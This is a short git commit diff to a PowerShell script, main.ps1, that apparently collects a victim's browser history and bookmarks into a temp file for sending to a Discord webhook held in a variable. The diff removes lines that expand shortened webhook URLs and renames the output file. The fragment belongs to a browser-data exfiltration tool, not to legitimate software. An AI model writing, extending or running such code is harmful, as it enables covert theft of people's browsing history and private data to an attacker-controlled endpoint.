Update main.ps1

This commit is contained in:
egieb
2025-06-18 09:56:13 +00:00
committed by GitHub
parent 0ede263050
commit e1bac318ed

View File

@@ -1,10 +1,7 @@
$whuri = "$dc"
# shortened URL Detection
if ($whuri.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $whuri = (irm $whuri).url}
$outpath = "$env:temp\history.txt"
$outpath = "$env:temp\browser_history.txt"
"Browser History `n -----------------------------------------------------------------------" | Out-File -FilePath $outpath -Encoding ASCII
# Define the Regular expression for extracting history and bookmarks